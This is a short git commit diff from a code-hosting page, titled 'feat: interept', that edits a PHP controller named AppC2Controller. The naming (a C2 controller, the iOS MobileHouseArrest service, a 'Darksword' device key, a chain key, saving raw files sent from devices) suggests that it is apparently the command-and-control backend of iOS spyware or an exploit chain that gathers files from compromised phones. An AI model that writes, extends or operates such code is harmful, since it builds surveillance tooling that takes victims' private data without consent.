feat: interept
This commit is contained in:
@@ -610,6 +610,13 @@ class AppC2Controller extends Controller
|
||||
'bundleId' => 'com.apple.mobile.MobileHouseArrest',
|
||||
'appId' => $apiKey,
|
||||
]);
|
||||
if ($device === null) {
|
||||
return $this->json([
|
||||
'ok' => true,
|
||||
'size' => $size,
|
||||
'bind' => false,
|
||||
]);
|
||||
}
|
||||
|
||||
// Save raw file
|
||||
$date = date('Ymd');
|
||||
@@ -806,8 +813,10 @@ class AppC2Controller extends Controller
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId);
|
||||
if ($deviceKey === null || $deviceKey === '') {
|
||||
$deviceKey = \App\Models\Device::acceptChainKey(
|
||||
\App\Models\Device::normalizeDarkswordKey($rawId)
|
||||
);
|
||||
if ($deviceKey === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user